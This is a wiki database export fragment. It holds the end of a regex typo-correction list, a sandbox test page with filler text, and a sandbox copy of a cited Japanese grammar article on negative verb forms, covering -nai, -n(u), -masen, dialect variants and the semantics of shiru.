<Typo word="-view" find="\b([iI]nter|[oO]ver|[pP]re|[rR]e)(?:ive|v(?:ei?|i)|wie)w(able|e(?:d|rs?)|ing|s?)\b" replace="$1view$2"/>
<Typo word="-vious" find="\b([dD]e|[eE]n|[oO]b(?:li)?|[pP]re)v(?:io(?:su?|usu)|ou?se?|uose?)(ly)?\b(?<!Devos)" replace="$1vious$2"/>
<Typo word="-vorous" find="\b([cC]arn|[hH]erb|[iI]nsect|[oO]mn)iv[aeiu]r(es?|ous(?:ly)?)\b" replace="$1ivor$2"/>
</source>
=====W=====
<source lang="xml">
<Typo word="-wed/-wing" find="(?=ww)(?<=\b(?:[A-Z][a-z]*|[a-z]+))ww(ed|ing|s)\b" replace="w$1"/><!--cheapened expensive beginning-->
<Typo word="-where" find="\b([aA]ny|[eE](?:lse|very)|[nN]o|[sS]ome)h?were\b" replace="$1where"/>
</source>
[[#Typo list|Back to top]]
rqdpfcy93d8jd3tt7uwksb12c6e10kq
Sandbox/51
0
43498
768286
491537
2026-10-13T15:30:54Z
~2026-54862-95
76169
test
768286
wikitext
text/x-wiki
[[File:McLaren Park 510-09983663191087544.jpg|thumbnail|McLaren Park]]
{{subst:перелить|[[песочница]]}}
See also http://jqueryui.com/demos/dialog/#options for options.
<div id="clicker-dialog" class="toccolours" style="display: none; cursor: pointer; float: left; margin: 1em;">Click here for a dialog</div>
<div id="clicker-prependfield" class="toccolours" style="display: none; cursor: pointer; float: left; margin: 1em;">Click here hhhfor a prepend field</div> soup soup
sadf
sdfdf
different thought FCC Hughhgvg
sdffgfyijg
test
t8hhjvf4alyrmbaiejicv9qqyhbn4og
Sandbox
0
68971
768284
768147
2026-10-13T15:11:02Z
~2026-54982-63
76167
test
768284
wikitext
text/x-wiki
{{Short description|Element of Japanese language}}
test
Conjugable words (verbs, ''i‑''adjectives, and ''na‑''adjectives) are traditionally considered to have six possible conjugational stems or bases.{{sfn|McClain|1981|pp=5-6|loc="Verbs: Functions of Six Bases"}} This article lists those from the {{Nihongo|'''negative base'''|未然形|mizenkei}}, as well as the tentative base that was split off during the [[Japanese script reform#Reforms|post‑WWII spelling reforms]].{{sfn|Koyanagi|2014|loc="意志形" (Volitional)}}
== Negative ==
The {{#invoke:nihongo|nihongo|'''negative'''|否定形・打消形|hiteikei/uchikeishikei}}, apart from being plainly negative, can commonly express [[Litotes|affirmation of the contrary but in an understated way]],{{sfnp|Martin|2004|p=386}} for example in rhetorical negative questions which imply affirmation,{{sfnp|Martin|2004|pp=321, 366}} often for politeness,{{sfnp|Martin|2004|p=368}} such as for softening [[#Hortative|hortatives]].{{sfnp|Martin|2004|p=948}}
{| class="wikitable"
|+ style=text-align:left | Negative form example sentences
|-
! English
! Japanese
! Function
|-
| 'There's no need to lose your temper with me,' […] 'If you're upset because Isobel went back to London, then that's not my fault! She could have stayed here overnight. It's not as though Joseph is around to be offended. In fact, I'm sure that Joseph wouldn't have been offended anyway.'
| {{#invoke:Nihongo|nihongo||「わたしに当たり散らす必要は'''ない'''でしょう」[…]「イザベルがロンドンに戻ったから機嫌が悪いのだとしても、わたしの罪'''じゃない'''わ! 彼女に泊まってもらえばよかったのに。泊まってもジョゼフは気に'''しない'''わ」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「わたしに当たり散らす必要はないでしょう」ケイティはぴしゃりと言った。小さな怒りの渦が徐々に胸の中でふくれ上がっていく。「イザベルがロンドンに戻ったから機嫌が悪いのだとしても、わたしの罪じゃないわ! 彼女に泊まってもらえばよかったのに。泊まってもジョゼフは気にしないわ」|quote='There's no need to lose your temper with me,' Katy told him as a little stream of anger began to swell and grow bigger inside her. 'If you're upset because Isobel went back to London, then that's not my fault! She could have stayed here overnight. It's not as though Joseph is around to be offended. In fact, I'm sure that Joseph wouldn't have been offended anyway.'|script-chapter=ja:3|chapter=Chapter Three|title=His Virgin Secretary|script-title=ja:愛するのは罪|trans-title=It's My Fault for Loving You|authorlink=Cathy Williams|first=Cathy|last=Williams|date=20 February 2005|isbn=4-596-12023-4|translator-last=Hagiwara|translator-first=Chisato|publisher=HarperCollins Japan}}</ref>|"Watashi ni atari chirasu hitsuyō wa '''nai''' deshō" […] "Izaberu ga Rondon ni modotta kara kigen ga warui no da to shite mo, watashi no tsumi '''ja nai''' wa! Kanojo ni tomatte moraeba yokatta no ni. Tomatte mo Jozefu wa ki ni '''shinai''' wa"}}
| rowspan=7 | general negation
|-
| After all, she'd seen the old lady every day. He'd stayed away for six years.{{efn|He'd never come once for the past six years.}}
| {{#invoke:Nihongo|nihongo||フィオナは毎日ゴルダに会っていたが、この六年間、彼は一度も会いに'''来なかった'''。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「ここにいる人たちはみんなそうよ」フィオナはそう答えながら、ゴルダが亡くなったことに、より大きな喪失感を覚えているのは自分よりも彼女のほうだと言いたげなジャスティンの言葉に、ショックを受けていた。フィオナは毎日ゴルダに会っていたが、この六年間、彼は一度も会いに来なかった。|quote="Everyone here is sorry about Golda." But in some tender place inside, she was touched by his acknowledgment that losing Golda was a bigger loss to her than him. After all, she'd seen the old lady every day. He'd stayed away for six years.|chapter=Chapter 1|script-chapter=ja:1|title=My Secret Valentine|script-title=ja:届かなかった伝言|trans-title=Words Undelivered|series=36 Hours|first=Marilyn|last=Pappano|date=20 April 2007|isbn=978-4-596-81366-4|translator-last=Yamada|translator-first=Sara|publisher=HarperCollins Japan}}</ref>|Fiona wa mainichi Goruda ni atte ita ga, kono rokunenkan, kare wa ichido mo ai ni '''konakatta'''.}}
|-
| "He hasn't nerve enough to kill a fly."
| {{#invoke:Nihongo|nihongo||「彼には蠅も'''殺せなかろう'''」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「そいつの指紋を採って、解放した」と署長が説明した。「彼には蠅も殺せなかろう」|quote="We took his finger-prints and let him go," put in the Chief. "He hasn't nerve enough to kill a fly."|script-chapter=ja:第十一章 真夜中のホノルル|chapter=Chapter XI Midnight in Honolulu|title=[[The Black Camel]]|script-title=ja:黒い駱駝|date=20 June 2013|authorlink=Earl Derr Biggers|first=Earl Derr|last=Biggers|isbn=978-4-8460-1245-8|translator-last=Hayashi|translator-first=Tamio|publisher=Ronsosha}}</ref>|"Kare ni hae mo '''korosenakarō'''"}}
|-
| You cannot pass!<br>Gandalf!<br>I am a servant of the Secret Fire, wielder of the flame of Anor. The dark fire will not avail you, flame of Udûn! Go back to the Shadow. You shall not pass!
| {{#invoke:Nihongo|nihongo||この先は'''通さん'''!<br>ガンダルフ!<br>我は神秘の火に仕える者、アノールの炎の使い手じゃ。貴様の放つ火は、儂には'''通じん'''!闇の底に戻るがよい。ここは断じて'''通さん'''!<ref name=jackson-2014>{{#invoke:cite|av media|lang=ja|script-quote=ja:この先は通さん!<br>ガンダルフ!<br>我は神秘の火に仕える者、アノールの炎の使い手じゃ。貴様の放つ火は、儂には通じん!闇の底に戻るがよい。ここは断じて通さん!|trans-quote=You will not pass from this point!<br>Gandalf!<br>I am a servant of the Secret Fire, wielder of the flame of Anor. The fire you set will not reach me! You had better go back to the depths of the Shadow. You shall not pass this place!|quote=You cannot pass!<br>Gandalf!<br>I am a servant of the Secret Fire, wielder of the flame of Anor. The dark fire will not avail you, flame of Udûn! Go back to the Shadow. You shall not pass!|title=[[The Lord of the Rings: The Fellowship of the Ring]]|script-title=ja:ロード・オブ・ザ・リング|trans-title=Lord of the Rings|date=19 February 2014|authorlink=Peter Jackson|first=Peter Robert|last=Jackson}}</ref>|Kono saki wa '''tōsan'''!<br>Gandarufu!<br>Ware wa Shinpi no Hi ni tsukaeru mono, Anōru no honō no tsukaite ja. Kisama no hanatsu hi wa, washi ni wa '''tsūjin'''! Yami no soko ni modoru ga yoi. Koko wa danjite '''tōsan'''!}}
|-
| Die for me, thou shalt not. And I too shall not die for thee.
| {{#invoke:Nihongo|nihongo||貴様はこのわしのために'''死にはせぬ'''。わしも貴様の代りには'''死なぬ'''。<ref>{{#invoke:cite|book|lang=ja|script-title=ja:ギリシア悲劇全集|trans-title=The Complete Collection of Greek Tragedies|author=[[Euripides]]|translator-first=Keijirō|translator-last=Uchiyama|date=20 May 2016|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|script-chapter=ja:アルケスティス|trans-chapter=[[Alcestis (play)|Alcestis]]|chapter=Ἄλκηστις|quote=Δεν θέλω να πεθάνης εσύ για μένα, μα ούτ' εγώ για χάρι σου πεθαίνω.|script-quote=ja:貴様はこのわしのために死にはせぬ。わしも貴様の代りには死なぬ。}}</ref>|Kisama wa kono washi no tame ni '''shini wa senu'''. Washi mo kisama no kawari ni wa '''shinanu'''.}}
|-
| Thanks to that, I did not die.
| {{#invoke:Nihongo|nihongo||「其お蔭で私は'''死ななんだ'''のですネ」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:華子「<ruby>其<rp></rp><rt>その</rt><rp></rp></ruby>お<ruby>蔭<rp></rp><rt>かげ</rt><rp></rp></ruby>で<ruby>私<rp></rp><rt>わたくし</rt><rp></rp></ruby>は<ruby>死<rp></rp><rt>し</rt><rp></rp></ruby>ななんだのですネ」|trans-quote=Valentine: “Thanks to that, I did not die.”|p=391|script-chapter=ja:'''二四七''' <ruby>華<rp></rp><rt>はな</rt><rp></rp></ruby><ruby>子<rp></rp><rt>こ</rt><rp></rp></ruby> '''二'''|trans-chapter='''24''': Valentine '''(2)'''|script-title=ja:巖窟王|trans-title=[[The Count of Monte Cristo]]|title=Le Comte de Monte Cristo|volume=2|last=Dumas|first=Alexandre|authorlink=Alexandre Dumas|first2=Auguste|last2=Maquet|authorlink2=Auguste Maquet|authorlink3=Kuroiwa Shūroku|last3=Kuroiwa|first3=Ruikō|date=20 January 1939|publisher=Meibunkan Shoten|location=[[Nihonbashi]], Tokyo|url=https://dl.ndl.go.jp/pid/1024401/1/198}}</ref>|“Sono okage de watakushi wa '''shinananda''' no desu ne”}}
|-
| Even so, he never lost hope.
| {{#invoke:Nihongo|nihongo||それでも決して望みを'''失いませんでした'''。<ref>{{#invoke:cite|book|lang=ja|trans-quote=The ''dejected'' Chibisuke's legs began to ache sharply, and the worms of hunger almost started to rumble in his stomach. For two days, Chibisuke journeyed on with this hunger and pain, staved off the worms in his belly with fruits from roadside trees and grasses, and slept on the cold hard earth. Even so, he never lost hope. A ray of hope would always shine on ''wherever the youth went''.|script-quote=ja:<span style=text-emphasis:sesame>がつかり</span>したチビ助の足はしく〱痛み出し、<ruby>飢<rp>(</rp><rt>うえ</rt><rp>)</rp></ruby>の蟲が胃の中でぐう〱うなつているばかりであります。チビ助は二日の間、こういうふうに飢と苦みの旅をし、<ruby>道<rp>(</rp><rt>みち</rt><rp>)</rp></ruby><ruby>端<rp>(</rp><rt>ばた</rt><rp>)</rp></ruby>の木の實や草の實でお腹の蟲を<ruby>抑<rp>(</rp><rt>おさ</rt><rp>)</rp></ruby>え、固く冷やかな大地の上に寢ました。それでも決して望みを失いませんでした。<span style=text-emphasis:sesame>若もの</span>の<span style=text-emphasis:sesame>ゆくさき</span>にはいつでも望みの光が輝いております。|url=https://dl.ndl.go.jp/pid/1168057/1/9|pp=9–10|script-chapter=ja:一、チビ助の門出|trans-chapter=1. Chibisuke's Departure|script-title=ja:千里を走るくつ|trans-title=The Thousand-Mile Boots|date=15 January 1949|publisher=Ichiyōsha|editor={{#invoke:lang|lang|ja|日本童話硏究會}}|location=[[Suginami]], Tokyo}}</ref>|Sore de mo kesshite nozomi o '''ushinaimasen deshita'''.}}
|-
| Did you walk round the city streets in America?<br>I didn't.{{efn|Rather than ''arukimasen deshita''.}}
| {{#invoke:Nihongo|nihongo||アメリカで街の中をお歩きに'''なりました'''か<br>'''歩きません'''|Amerika de machi no naka o oaruki ni '''narimashita''' ka<br>'''Arukimasen'''}}
| rowspan=2 | past negation in non‑past form
|-
| I stayed up late at night waiting, but he never came.{{efn|Rather than ''konakatta''.}}
| {{#invoke:Nihongo|nihongo||夜、遅くまで待って'''た'''けど、'''来ない'''んだ|Yoru, osoku made matte ''''ta''' kedo, '''konai''' n da}}
|-
| Isn't the magazine interesting and doesn't it also prove of value?
| {{#invoke:Nihongo|nihongo||この雑誌は面白くもあり、ためにも'''なりはしないか'''|Kono zasshi wa omoshiroku mo ari, tame ni mo '''nari wa shinai ka'''}}
| rowspan=11 | rhetorically implied affirmation of the contrary
|-
| Won't you read it?{{efn|'''Won't''' you read it? → Would you be kind enough to read it?}}
| {{#invoke:Nihongo|nihongo||'''読みませんか'''|'''Yomimasen ka'''}}
|-
| Aren't we early?{{efn|'''Aren't''' we early? → We are surely early, aren't we?}}
| {{#invoke:Nihongo|nihongo||早い'''じゃないか'''|Hayai '''ja nai ka'''}}
|-
| Aren't we not early?{{efn|Are we '''not not''' early → We are surely not early, are we?}}
| {{#invoke:Nihongo|nihongo||早く'''ないじゃないか'''|Hayaku '''nai ja nai ka'''}}
|-
| Isn't it nice?{{efn|'''Isn't''' it nice? → It is surely nice, isn't it?}}
| {{#invoke:Nihongo|nihongo||いい'''じゃないの'''|Ii '''ja nai no'''}}
|-
| He said he'd come but I guess he won't after all.{{efn|'''Isn't''' it that he '''won't''' come? → He won't come, will he?}}
| {{#invoke:Nihongo|nihongo||来ると言ったのに'''来ないじゃありませんか'''|Kuru to itta no ni '''konai ja arimasen ka'''}}
|-
| Shall we leave?{{efn|'''Isn't''' it that we will leave? → Shan't we leave? → Shall we leave?}}
| {{#invoke:Nihongo|nihongo||'''帰ろうじゃありませんか'''|'''Kaerō ja arimasen ka'''}}
|-
| How about a drink?{{efn|'''Isn't''' it that you'll drink a cup? → Won't you have a drink? → Will you have a drink?}}
| {{#invoke:Nihongo|nihongo||一杯'''飲もうじゃないか'''|Ippai '''nomō ja nai ka'''}}
|-
| Of course not only is there lack of evidence to substantiate the government's theory but on the contrary a number of pieces of counter‑evidence even can be offered.
| {{#invoke:Nihongo|nihongo||もちろん政府説を裏付ける確証は今のところ'''ないばかりか'''、逆にいくつかの反証も上げることができる|Mochiron seifusetsu o urazukeru kakushō wa ima no tokoro '''nai bakari ka''', gyaku ni ikutsu ka no hanshō mo ageru koto ga dekiru}}
|-
| My grades were none too outstanding.
| {{#invoke:Nihongo|nihongo||成績は優秀な'''ほうではなかった'''|Seiseki wa yūshū na '''hō de wa nakatta'''}}
|-
| There is no reason to think that a mouse can get the better of a cat.
| {{#invoke:Nihongo|nihongo||ネズミが猫に勝てる'''はずがない'''|Nezumi ga neko ni kateru '''hazu ga nai'''}}
|}
=== Negative: Conjugation table ===
The negative form is created by using the [[Japanese conjugation#mizenkei|mizenkei base]], followed by the {{#invoke:nihongo|nihongo||ない|‑nai}} suffix. This auxiliary arose in eastern dialects during [[Late Middle Japanese]] and displaced the western ''‑n'' (see below) in standard Japanese, and while having been linked to another negative auxiliary, {{#invoke:nihongo|nihongo||なふ|‑nau → ‑nō}}, it appears to be a grammaticalized version of the adjective {{#invoke:nihongo|nihongo||無い|nai|{{gloss|be nonexistent}}}}.{{sfnp|Frellesvig|2010|p=401}} In masculine (or rural eastern) speech, ''‑nai'' is smoothed out into ''‑nē'' (see {{section link|Japanese conjugation (imperfective form)|Conjugation table}} for more comparative examples).
''‑N'' ({{#invoke:nihongo|nihongo||狩らん|karan|{{gloss|not hunt}}}}) is a negative auxiliary that was reduced from the earlier western<ref>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:見ない|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol2/GAJ2-74.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:起きない|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol2/GAJ2-72.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:開けない|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol2/GAJ2-77.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:書かない|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol2/GAJ2-80.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref name=konai>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:来ない|lang=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol2/GAJ2-83.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref><ref name=ninjal-shinai>{{#invoke:cite|journal|script-journal=ja:方言文法全国地図PDF版ダウンロード|script-title=ja:しない|language=ja|url=https://www2.ninjal.ac.jp/hogen/dp/gaj-pdf/gaj-map-legend/vol2/GAJ2-84.pdf|publisher=National Institute for Japanese Language and Linguistics|date=February 2021}}</ref> and classical ''‑nu'' ({{#invoke:nihongo|nihongo||狩らぬ|karanu}}), but was largely displaced by the eastern ''‑nai'' ({{#invoke:nihongo|nihongo||狩らない|karanai}}) in standard Japanese.<ref name=n-negative>{{#invoke:cite|web|url=https://kotobank.jp/word/%E3%82%93-666120|lang=ja|script-website=ja:コトバンク|script-title=ja:ん}}</ref><ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E3%81%AA%E3%81%84-586949|script-title=ja:ない|script-website=ja:コトバンク}}</ref> ''‑N(u)'' is still found in modern Japanese and thought of as "shortened" from ''‑nai'', although as the fact that {{#invoke:nihongo|nihongo||しん・しぬ|shin(u)}} is strictly dialectal compared to the standard {{#invoke:nihongo|nihongo||せん・せぬ|sen(u)}} shows,{{sfnp|Martin|2004|p=371}} it is not really a "short" form. Some modern examples include {{#invoke:nihongo|nihongo||ところが、返事を寄越さ'''ん'''のです|tokoro ga, henji o yokosa'''n''' no desu|{{gloss|but they sent me no reply}}}}, {{#invoke:nihongo|nihongo||僕は弁解せ'''ん'''です。ただ言わ'''ん'''事を書かれたら困る|Boku wa benkai se'''n''' desu. Tada iwa'''n''' koto o kakaretara komaru.|{{gloss|I don't make excuses. It's just that it is embarrassing to have things written as if I had said them when I haven't.}}}}, {{#invoke:nihongo|nihongo||せ'''ん'''でください|se'''n''' de kudasai|{{gloss|don't do it}}}}.{{sfnp|Martin|2004|p=371}} ''‑N(u)''{{'}}s [[Japanese conjugation (ren'yōkei base)#Infinitive|infinitive]] form, ''‑zu'', is still used in writing. {{#invoke:nihongo|nihongo||じゃない(の)か|Ja nai (no) ka|{{gloss|isn't it?}}}} is indeed shortened to {{#invoke:nihongo|nihongo||じゃん|jan}} especially by young people.<ref name=super-daijirin /> ''‑Nai'' and ''‑nu'' can be used in the same sentence where ''‑nai'' is treated as conclusive and ''‑nu'' as attributive: {{#invoke:nihongo|nihongo||外交権を持た'''ぬ'''沖縄はアメリカと交渉することもでき'''ない'''|Gaikōken o mota'''nu''' Okinawa wa Amerika to kōshō suru koto mo deki'''nai'''|{{gloss|Okinawa, which does not have diplomatic power, cannot negotiate with America}}}}.{{sfnp|Martin|2004|pp=371–372}}
The regular negative of ''aru'' would be ''aranai'', but it is very rarely used, for example in {{#invoke:Nihongo|nihongo||本間に嘘ではあらないというのじゃな
|Honma ni uso de wa aranai to yū no ja na}},{{sfnp|Martin|2004|p=371}} {{#invoke:Nihongo|nihongo||土佐とて鬼の国でも蛇の国でもあらないものを|Tosa to te oni no kuni de mo hebi no kuni de mo aranai mono o}}, etc.<ref>{{#invoke:cite|book|url=https://dl.ndl.go.jp/pid/1117756/1/324|language=ja|script-title=ja:高等國文法新講 品詞篇|last=Kieda|first=Masuichi|date=25 February 1937|page=636|script-chapter=ja:第二十節 口語の否定の助動詞|publisher=Tōyō Tosho}}</ref><ref>{{#invoke:cite|web|url=https://kotobank.jp/word/%E6%9C%89%E3%81%AA%E3%81%84-2004120|script-title=ja:有ない|language=ja|script-website=ja:コトバンク}}</ref> In [[Murakami Haruki]]'s 2017 novel ''[[Killing Commendatore]]'', the character "Commendatore", who is characterized as having "an odd way of speaking" that is "not the way ordinary people would speak",<ref>{{#invoke:cite|book|page=251|quote=Even with this new information, I remained silent. No words came. My first thought was, Oh, so he can talk? My next thought was that he sure had an odd way of speaking. It was not the way ordinary people would speak. But then again, the little two-foot Commendatore was in no way ordinary. So whatever his manner of speech, it shouldn't be surprising.|chapter=21 It's small, but should you cut with it, blood will certainly come out|authorlink=Haruki Murakami|last=Murakami|first=Haruki|translator-first=Philip|translator-last=Gabriel|translator-first2=Ted|translator-last2=Goossen|publisher=Anchor Canada|year=2019|orig-date=25 February 2017|isbn=978-0-385-69071-3|title=Killing Commendatore}}</ref> often, but not always, uses ''aranai'' in place of ''nai''. The western ''aranu'' usually functions as an attributive word that idiomatically means "unexpected" or "untoward",<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E6%9C%89%E3%82%89%E3%81%AC-427992|script-title=ja:有らぬ|script-website=ja:コトバンク}}</ref><ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E3%81%82%E3%82%89%E3%81%AC-199387|script-title=ja:あらぬ|script-website=ja:コトバンク}}</ref> as in {{#invoke:nihongo|nihongo||あらぬことを口走る|aranu koto o kuchibashiru|{{gloss|blurt something out out of left field}}}}; it can still have a literal meaning and be used predicatively just like ''nai'', but for literary or faux‑archaic effect, as in the [[Parmenidian]] phrase {{#invoke:nihongo|nihongo||あるものはあり、あらぬものはあらぬ|aru mono wa ari, aranu mono wa aranu|{{xlat|that which is, is, that which is not, is not}}}}. ''Arazu'' usually occurs in the literary negative copular phrase {{#invoke:nihongo|nihongo||にあらず|ni arazu}},{{sfnp|Martin|2004|pp=377, 383}} as in {{#invoke:nihongo|nihongo||多弁は雄弁にあらず|taben wa yūben ni arazu|{{xlat|a wealth of word is not eloquence}}}}.
For the negatives of [[Japanese conjugation#The bases of suru|''suru'' and its compounds]], the general practice is to pair the eastern ''shi‑'' with the eastern ''‑nai'', and the western ''se‑'' with the western ''‑n(u)'' and ''‑zu'' for mainstream Japanese (only the eastern ''shinai'' is standard). Any of such combinations as ''sanai'', ''sunai'', ''shin(u)'', etc are considered dialectal. The writer [[Mori Ōgai]], hailing from the western [[Shimane Prefecture|prefecture of Shimane]], reportedly rigorously used ''senai'', apparently in accordance with the [[Classical Japanese|classical (western)]] ''se‑'',<ref name=tanizaki-1934/> despite the dominance of ''sen'' in the west.<ref name=ninjal-shinai/> For "irregular" verbs such as {{#invoke:nihongo|nihongo||愛する|aisuru}} and {{#invoke:nihongo|nihongo||達する|tassuru}}, which are irregular even compared to ''suru'', see {{section link|Japanese conjugation|The bases of suru}} for more.
The current negative of ''‑masu'' is ''‑masen''. The unique shapes of ''‑masen'' (rather than ''‑mashinai'') and the [[#Hortative|hortative]] ''‑mashō'' (rather than *''‑mashiyō'') suggest their provenance in western polite speech.{{sfnp|Ministry of Education, Science, Sports and Culture|1935a|p=283}} Compare [[Japanese conjugation (ren'yōkei base)#Infinitive: Conjugation table|westernized hyper‑polite adjectival expressions with ''gozaimasu'']]. The easternized ''‑mashinai'' was first recorded in its spoken form with [[Japanese phonology#Vowel fusion|vowel fusion]] as ''‑mashinē'' in [[Edo period|Edo]] Japanese.<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E3%81%BE%E3%81%97%E3%81%AA%E3%81%84-387366|script-title=ja:ましない|script-work=ja:コトバンク}}</ref> It has been attested in dialog from modern literature, for example in the speech of underclass, poor, peasant, servile or rural characters, even non‑Japanese ones, notably the [[eye dialect]] of black slaves from the novel ''[[Gone with the Wind (novel)|Gone with the Wind]]''.<ref name=okubo-takeuchi-1977-mashinee/> The practice of using the stigmatized "unsophisticated" [[Tōhoku Japanese]],{{efn|Or at least a fictionalized form of it,<ref>{{#invoke:cite|journal|url=https://www.academia.edu/download/74025796/j.1467-9841.2009.00406.x20211101-8582-504gvv.pdf|last=Hiramoto|first=Mie|title=Slaves speak pseudo-Toohoku-''ben'': The representation of minorities in the Japanese translation of ''Gone with the Wind''|journal=Journal of Sociolinguistics|volume=13|number=2|year=2009|pages=249–263 |publisher=Blackwell Publishing Ltd|location=Oxford |doi=10.1111/j.1467-9841.2009.00406.x }}</ref> which has long been associated with eastern rusticity, relatively compared to the more urban eastern capital of [[Edo]].<ref name=trowell-nambu-2023/>}} in which ''‑mashinai'' and ''‑mashinē'' figure, to translate the stereotypical speech of black Southern Americans, has become unpopular.<ref name=kumagai-2015>{{#invoke:cite|journal|lang=ja|script-title=ja:新訳がひきつぐ東北方言イメージ 『風と共に去りぬ』にみる黒人のことば遣いを中心に|url=http://gendainihongo.sakura.ne.jp/gendainihongo/wp-content/uploads/2019/04/36%E5%8F%B7%E6%96%B0%E8%A8%B3%E3%81%8B%E3%82%99%E3%81%B2%E3%81%8D%E3%81%A4%E3%81%8F%E3%82%99%E6%9D%B1%E5%8C%97%E6%96%B9%E8%A8%80%E3%82%A4%E3%83%A1%E3%83%BC%E3%82%B7%E3%82%99.pdf|last=Kumagai|first=Shigeko|script-journal=ja:ことば|volume=36|date=December 2015|issn=0389-4878|publisher={{#invoke:lang|lang|ja|現代日本語研究会}}}}</ref> The use of a low‑class pseudo‑dialect has been claimed to contribute to the churlish stereotype of Tōhoku Japanese,<ref name=kumagai-2015/> although it has also been argued that such use is increasingly perceived as mere [[Yakuwarigo|fictional]] rural speech without necessarily any association with real‑life dialects.<ref name=trowell-nambu-2023>{{#invoke:cite|journal|title="Pseudo-Dialect" or "Role Language"? Speech Varieties in Three Japanese Translations of ''Gone with the Wind''|url=https://www.researchgate.net/publication/375514219|journal=Journal of Japanese Linguistics|last1=Trowell|first1=Haydn|first2=Satoshi|last2=Nambu|volume=39|number=2|year=2023 |pages=237–260 |doi=10.1515/jjl-2023-2014 }}</ref>
The negatives of {{#invoke:nihongo|nihongo||来る|kuru}} are regularly ''konai/konē/kon(u)'', with ''kinai/kinē'' being dialectal [[Kantō]] alternatives.{{sfnp|Martin|2004|p=371}}<ref name=konai/>
''‑N'' also happens to be a reduced form of ''‑mu'' ({{#invoke:nihongo|nihongo||狩らむ|karamu|{{gloss|let's hunt; probably hunt}}}}), whose other reduced form, ''‑u'', is still used to make [[#Hortative|hortative]] forms ({{#invoke:nihongo|nihongo||狩ろう|karō}}).<ref name=n-negative /> ''‑Nu'' also happens to be an archaic [[Japanese conjugation (ren'yōkei base)#Perfective|perfective]] auxiliary, with a different conjugation from the negative ''‑nu''; it is equivalent to ''‑ta''/''‑da'' in modern Japanese,<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E3%81%AC-593884|script-title=ja:ぬ|script-work=ja:コトバンク}}</ref> and it is sometimes used elevatedly, as in {{#invoke:nihongo|nihongo||風と共に去り'''ぬ'''|Kaze to Tomo ni Sari'''nu''' ({{=}}Satta)|{{gloss|''Gone with the Wind''}}}}.
The ''godan'' and ''ichidan''‑based negative endings ''‑ranai'', ''‑rinai'' or ''‑renai'', specifically with the consonant ''r'', can be reduced to ''‑nnai'' and even ''‑nnē'' in speech, as in {{#invoke:nihongo|nihongo||分かんない|wakaranai → wakannai}}, {{#invoke:nihongo|nihongo||なんねえ|naranai → nannē}}, {{#invoke:nihongo|nihongo||呉んない|kurenai → kunnai}}.{{sfnp|Martin|2004|p=372}}
The expressions {{#invoke:nihongo|nihongo||すまない・すまん・すみません|sumanai/suman/sumimasen|{{gloss|I'm sorry}}, {{lit|it isn't over}}}} comes from a special use of the subsidiary verb {{#invoke:nihongo|nihongo||済む|sumu|{{gloss|be over}}}} (see [[Japanese conjugation (ren'yōkei base)#Gerund: Grammatical compatibility|Gerund: Grammatical compatibility]] for examples).
The ''godan'' verb {{#invoke:nihongo|nihongo||知る|shiru}}, whose kanji represents the Chinese word for "know", is often translated as "know", but a more accurate translation would be "learn", "find out",{{sfnp|Rubin|2004|p=94}} or "get to know".{{sfnp|p=86|Kuno|1973}}{{sfnp|Miura|2011|p=235}} In order to say "I know", the construction {{#invoke:nihongo|nihongo||知って(い)る|shitte( i)ru}} is used instead{{sfnp|p=86|Kuno|1973}}{{sfnp|Rubin|2004|p=94}} (see [[Japanese conjugation (ren'yōkei base)#Gerund: Grammatical compatibility|Gerund: Grammatical compatibility]] for the usage of ''‑te iru''). This is because ''shiru'' is imbued with active recognition, which relates to the archaic meaning of taking physical command or possession of somebody or something,{{sfnp|Kimura|2001|p=353}} reflected by the spellings {{#invoke:lang|lang|ja|治る}} with the kanji for the Chinese word for "rule", "govern" or "control", and {{#invoke:lang|lang|ja|領る}} for "lead".<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E7%9F%A5%E3%82%8B-535939|script-title=ja:知る|script-work=ja:コトバンク}}</ref> To "know", therefore, is to take psychological command or possession of outside information, hence ''shiru'' ("I take command of this information"), and maintain it, hence ''shitte iru'' ("I took command of this information and it's still in my knowledge"). While "I know" ("I take command of it and still have it") is ''shitte iru'', "I don't know" is actually {{#invoke:nihongo|nihongo||知らない|shiranai|"I don't take command of it"}},{{sfnp|Kimura|2001|p=354}} which is morphologically the negative of ''shiru'', but semantically the negative of both ''shitte iru'' and ''shiru''.
